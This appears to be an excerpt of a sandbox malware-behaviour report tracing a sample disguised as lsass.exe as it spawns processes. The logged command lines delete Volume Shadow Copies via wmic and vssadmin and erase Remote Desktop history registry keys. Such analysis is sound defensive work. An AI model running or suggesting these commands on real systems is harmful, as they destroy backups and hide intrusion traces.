Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\System32\Wbem\WMIC.exe os_pid = 0x968, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a340000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:14 (UTC) True 1
Fn
Get Time type = Ticks, time = 119247 True 1
Fn
Get Time type = Performance Ctr, time = 17465828985 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 80041014 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #15: wmic.exe
168 0
»
Information Value
ID #15
File Name c:\windows\syswow64\wbem\wmic.exe
Command Line wmic shadowcopy delete
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:54, Reason: Child Process
Unmonitor End Time: 00:01:00, Reason: Self Terminated
Monitor Duration 00:00:05
OS Process Information
»
Information Value
PID 0x968
Parent PID 0x950 (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 96C
0x 970
0x 974
0x 978
0x 97C
0x 980
Host Behavior
COM (7)
»
Operation Class Interface Additional Information Success Count Logfile
Create WBEMLocator IWbemLocator cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Create F6D90F12-9C73-11D3-B32E-00C04F990BB4 2933BF95-7B36-11D2-B20E-00C04F983E60 cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Create EB87E1BD-3233-11D2-AEC9-00C04FB68820 EB87E1BC-3233-11D2-AEC9-00C04FB68820 cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Execute WBEMLocator IWbemLocator method_name = ConnectServer, network_resource = root\cli True 1
Fn
Execute WBEMLocator IWbemLocator method_name = ConnectServer, network_resource = root\cli\ms_409 True 1
Fn
Execute WBEMLocator IWbemLocator method_name = ConnectServer, network_resource = \\XDUWTFONO\ROOT\CIMV2 True 1
Fn
Execute WBEMLocator IWbemServices method_name = ExecQuery, query_language = WQL, query = SELECT * FROM Win32_ShadowCopy False 1
Fn
Registry (5)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM value_name = Logging, data = 48 True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM value_name = Logging Directory True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM value_name = Logging Directory, data = 37 True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wbem\CIMOM value_name = Log File Max Size, data = 54 True 1
Fn
Module (3)
»
Operation Module Additional Information Success Count Logfile
Load C:\Windows\system32\kernel32.dll base_address = 0x76c20000 True 1
Fn
Get Handle c:\windows\syswow64\wbem\wmic.exe base_address = 0x460000 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
System (7)
»
Operation Additional Information Success Count Logfile
Get Computer Name result_out = XDUWTFONO True 1
Fn
Get Time type = System Time, time = 2019-07-07 15:51:14 (UTC) True 1
Fn
Get Time type = Ticks, time = 119403 True 1
Fn
Get Time type = Performance Ctr, time = 17498779264 True 1
Fn
Get Time type = Local Time, time = 2019-07-08 01:51:14 (Local Time) True 1
Fn
Get Info type = System Directory, result_out = C:\Windows\system32 True 2
Fn
Process #16: svchost.exe
0 0
»
Information Value
ID #16
File Name c:\windows\system32\svchost.exe
Command Line C:\Windows\system32\svchost.exe -k netsvcs
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:55, Reason: RPC Server
Unmonitor End Time: 00:04:27, Reason: Terminated by Timeout
Monitor Duration 00:03:31
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0x36c
Parent PID 0x1cc (c:\windows\system32\services.exe)
Bitness 64-bit
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x 7A0
0x 7F8
0x 430
0x 268
0x 768
0x 764
0x 760
0x 75C
0x 70C
0x 6E8
0x 6D8
0x 6D4
0x 6C8
0x 6C0
0x 6B8
0x 6A4
0x 6A0
0x 690
0x 67C
0x 490
0x 454
0x 450
0x 428
0x 424
0x 420
0x 404
0x 18C
0x F0
0x C8
0x 3F0
0x 3E4
0x 398
0x 394
0x 390
0x 38C
0x 378
0x 370
0x 984
0x 988
0x 98C
0x 990
0x 994
0x 998
0x 99C
0x 9A0
0x 9A4
0x 9A8
0x 9AC
0x 9B8
0x 9C0
0x 9C4
0x BE4
0x BE8
0x BEC
0x 5B4
0x 794
Process #18: wmiprvse.exe
0 0
»
Information Value
ID #18
File Name c:\windows\syswow64\wbem\wmiprvse.exe
Command Line C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:58, Reason: RPC Server
Unmonitor End Time: 00:04:27, Reason: Terminated by Timeout
Monitor Duration 00:03:29
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0x9b0
Parent PID 0x254 (c:\windows\system32\svchost.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\Network Service
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x 9B4
0x 9C8
0x 9CC
0x 9D0
0x 9D4
0x 9D8
0x 9DC
0x 81C
0x 930
Process #19: vssvc.exe
3 0
»
Information Value
ID #19
File Name c:\windows\system32\vssvc.exe
Command Line C:\Windows\system32\vssvc.exe
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:58, Reason: RPC Server
Unmonitor End Time: 00:01:10, Reason: Self Terminated
Monitor Duration 00:00:11
OS Process Information
»
Information Value
PID 0x9e0
Parent PID 0x1cc (c:\windows\system32\services.exe)
Bitness 64-bit
Is Created or Modified Executable False
Integrity Level System (Elevated)
Username NT AUTHORITY\SYSTEM
Enabled Privileges SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege
Thread IDs
0x 9FC
0x 9F8
0x 9F4
0x 9F0
0x 9EC
0x 9E8
0x 9E4
0x A00
0x 848
Host Behavior
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:15 (UTC) True 1
Fn
Get Time type = Ticks, time = 120963 True 1
Fn
Get Time type = Performance Ctr, time = 17898883413 True 1
Fn
Process #20: cmd.exe
60 0
»
Information Value
ID #20
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:59, Reason: Child Process
Unmonitor End Time: 00:01:00, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xa08
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A0C
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\vssadmin.exe os_pid = 0xa20, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a730000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:16 (UTC) True 1
Fn
Get Time type = Ticks, time = 121275 True 1
Fn
Get Time type = Performance Ctr, time = 17930169441 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000002 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #21: vssadmin.exe
0 0
»
Information Value
ID #21
File Name c:\windows\syswow64\vssadmin.exe
Command Line vssadmin delete shadows /all /quiet
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:59, Reason: Child Process
Unmonitor End Time: 00:01:00, Reason: Self Terminated
Monitor Duration 00:00:01
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xa20
Parent PID 0xa08 (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A24
0x A28
0x A2C
0x A30
0x A34
Process #22: cmd.exe
60 0
»
Information Value
ID #22
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:59, Reason: Child Process
Unmonitor End Time: 00:01:00, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xa3c
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A40
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\reg.exe os_pid = 0xa54, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a530000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:16 (UTC) True 1
Fn
Get Time type = Ticks, time = 121555 True 1
Fn
Get Time type = Performance Ctr, time = 17969497374 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000001 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #23: reg.exe
42 0
»
Information Value
ID #23
File Name c:\windows\syswow64\reg.exe
Command Line reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:59, Reason: Child Process
Unmonitor End Time: 00:01:00, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xa54
Parent PID 0xa3c (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A58
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_ERROR_HANDLE type = file_type True 2
Fn
Open STD_ERROR_HANDLE - True 6
Fn
Write STD_ERROR_HANDLE size = 7 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 67 True 1
Fn
Data
Registry (2)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System - False 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default - False 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\reg.exe base_address = 0xb80000 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:16 (UTC) True 1
Fn
Get Time type = Ticks, time = 121633 True 1
Fn
Get Time type = Performance Ctr, time = 17977661952 True 1
Fn
Process #24: cmd.exe
60 0
»
Information Value
ID #24
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:59, Reason: Child Process
Unmonitor End Time: 00:01:00, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xa5c
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A60
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\reg.exe os_pid = 0xa74, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a530000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:16 (UTC) True 1
Fn
Get Time type = Ticks, time = 121758 True 1
Fn
Get Time type = Performance Ctr, time = 17989951283 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000001 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #25: reg.exe
42 0
»
Information Value
ID #25
File Name c:\windows\syswow64\reg.exe
Command Line reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:59, Reason: Child Process
Unmonitor End Time: 00:01:00, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xa74
Parent PID 0xa5c (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A78
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_ERROR_HANDLE type = file_type True 2
Fn
Open STD_ERROR_HANDLE - True 6
Fn
Write STD_ERROR_HANDLE size = 7 True 1
Fn
Data
Write STD_ERROR_HANDLE size = 67 True 1
